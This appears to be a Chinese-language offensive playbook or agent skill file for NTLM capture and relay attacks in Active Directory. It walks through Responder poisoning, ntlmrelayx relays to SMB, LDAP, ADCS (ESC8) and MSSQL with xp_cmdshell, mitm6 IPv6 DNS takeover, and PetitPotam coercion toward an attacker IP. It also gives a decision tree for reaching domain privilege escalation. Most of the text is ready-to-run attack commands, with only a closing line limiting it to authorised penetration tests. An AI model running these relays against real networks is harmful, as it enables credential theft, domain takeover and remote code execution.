AD 环境捕获并中继 NTLM…

在 Active Directory 内网中需要把捕获或强制触发的 NTLM 认证中继到 SMB/LDAP/HTTP(ADCS)/MSSQL 以获取代码执行、域提权或证书时使用。

适用场景

解决思路

1. 深入利用前先加载配套技能：ADCS（ESC8 中继到 ADCS 注册）、AD ACL 滥用（LDAP 中继后改 ACL、RBCD、shadow creds）、Kerberos 攻击（中继成功后的后续利用）、Windows 横向移动（中继后的横向）；需要强制认证方法对比、RPC 函数级细节和 Coercer 用法时加载 COERCION_METHODS.md。
2. 掌握中继基本链路：受害者发起 NTLM 认证（被投毒或强制）→ 攻击者把认证转发到目标 → 目标返回 challenge → 攻击者回传给受害者 → 受害者计算 response → 攻击者转发 response 给目标 → 目标接受，攻击者获得已认证会话；攻击者全程不知道明文口令。
3. 需要把认证还原成 NTLM 哈希时将其降级为 NTLMv1：用 Responder --lm 强制降级（NTLMv1 可用彩虹表或 crack.sh 还原，NTLMv2 只能离线爆破）。
4. 按目标协议选择中继落点：SMB → 有管理员权限时命令执行/文件访问（DC 默认要求签名，工作站不要求）；LDAP → ACL 修改、RBCD、shadow credentials、加计算机账号（DC 默认协商而非强制签名）；LDAPS → 同 LDAP 但加密且默认启用 channel binding；HTTP(ADCS) → 证书注册 ESC8；MSSQL → SQL 查询与 xp_cmdshell；IMAP/SMTP → 邮件访问；RPC → CA 注册 ESC11。
5. 中继前先探测签名要求：用 `crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt` 输出不要求 SMB 签名的主机；或用 `nmap -p 445 --script smb2-security-mode TARGET_RANGE` 检查。
6. 纯捕获模式运行 Responder（只抓哈希不中继）：`responder -I eth0 -dwP`。
7. 被动分析模式（不投毒）：`responder -I eth0 -A`。
8. 投毒针对的协议：LLMNR（UDP 5355）、NBT-NS（UDP 137）、WPAD（代理自动发现）、mDNS（UDP 5353）。
9. Responder 配合中继的部署方式：编辑 /etc/responder/Responder.conf 把 HTTP 与 SMB 置为 Off，启动 `responder -I eth0 -dwP` 只负责投毒，再用 `ntlmrelayx.py -tf targets.txt -smb2support` 负责中继。
10. 中继到 SMB 执行命令（需在目标上有管理员权限）：`ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"`。
11. 中继到 SMB 转储 SAM 哈希：`ntlmrelayx.py -tf targets.txt -smb2support`。
12. 中继到 SMB 并保持会话：加 `-socks` 启动 SOCKS 代理，随后用 `proxychains smbclient //TARGET/C$ -U DOMAIN/user` 操作。
13. 中继到 LDAP 自动配置 RBCD：`ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support`。
14. 中继到 LDAP 用 shadow credentials 提权：`ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support`。
15. 中继到 LDAP 添加计算机账号：`ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support`。
16. 中继到 LDAP 转储域信息：`ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain`。
17. 中继到 ADCS HTTP 获取证书（ESC8）：`ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController`，配合强制认证把 DC 认证中继过来即可拿到 DC 证书。
18. 中继到 MSSQL：`ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"`。
19. 用 mitm6 做 IPv6 DNS 接管：`mitm6 -d domain.com`。
20. mitm6 与中继组合：`ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support`。
21. mitm6 攻击流程：发送 DHCPv6 应答使受害者把攻击者当作 IPv6 DNS → 受害者查询 WPAD 由攻击者应答 → 触发 NTLM 认证 → 中继到 LDAP → 在受害者计算机上设置 RBCD 或 shadow credentials。
22. 跨协议 SMB→LDAP：用 `ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support` 接收，配合 `PetitPotam.py ATTACKER_IP DC01_IP` 强制 DC 产生 SMB 认证；注意源端 SMB 签名协商暴露中继时该链路会失败。
23. 跨协议 WebDAV→LDAP：用 `ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support` 接收，配合 `PetitPotam.py ATTACKER@80/test WORKSTATION_IP` 走 `@ATTACKER_PORT` 格式强制 WebDAV（工作站须运行 WebClient 服务），HTTP 型 NTLM 不受 SMB 签名限制。
24. 先确认 WebClient 服务是否运行：`crackmapexec smb TARGET -u user -p pass -M webdav`。
25. 用 UNC 路径格式 `\\ATTACKER@PORT\share` 强制目标通过 HTTP（WebDAV）发起认证，从而绕开 SMB 签名要求。
26. 按决策树先确定能捕获什么认证：Responder 投毒（被动等待查询）、mitm6（DHCPv6 DNS 接管、周期性）、主动强制认证（转 COERCION_METHODS.md）。
27. 按决策树选目的：需要代码执行 → SMB 目标无签名或 MSSQL + xp_cmdshell；需要域提权 → LDAP 未强制签名时做 RBCD / shadow credentials / 加计算机并委派，LDAP 强制签名时改中继到 ADCS HTTP（ESC8）拿证书；需要证书 → 中继到 ADCS HTTP/RPC（ESC8/ESC11）。
28. 按决策树判断跨协议可行性：源为 SMB 时目标是 SMB 需查签名、目标是 LDAP 可能可行（跨协议）、目标是 HTTP 可行；源为 HTTP（WebDAV）时可中继到任意目标，无签名问题。
29. 中继失败时依次排查：检查目标签名要求、检查 EPA/channel binding、改用跨协议 SMB→LDAP、改用 WebDAV 强制认证以规避 SMB 签名。

适用边界 · 注意事项

• 目标强制 SMB 签名（尤其域控）或无签名但启用 EPA/channel binding（如 LDAPS）时，对应协议的中继会失败，需换 LDAP/ADCS/WebDAV 路径。
• 源端为 SMB 且签名协商能暴露中继时，SMB→LDAP 跨协议链会失败；目标工作站未运行 WebClient 服务时 WebDAV 强制认证路径也不可用。
• 仅限获授权的 AD 渗透测试或红队评估；无授权、非 AD 环境或缺少 Impacket/Responder/mitm6/Coercer 等工具链时不适用。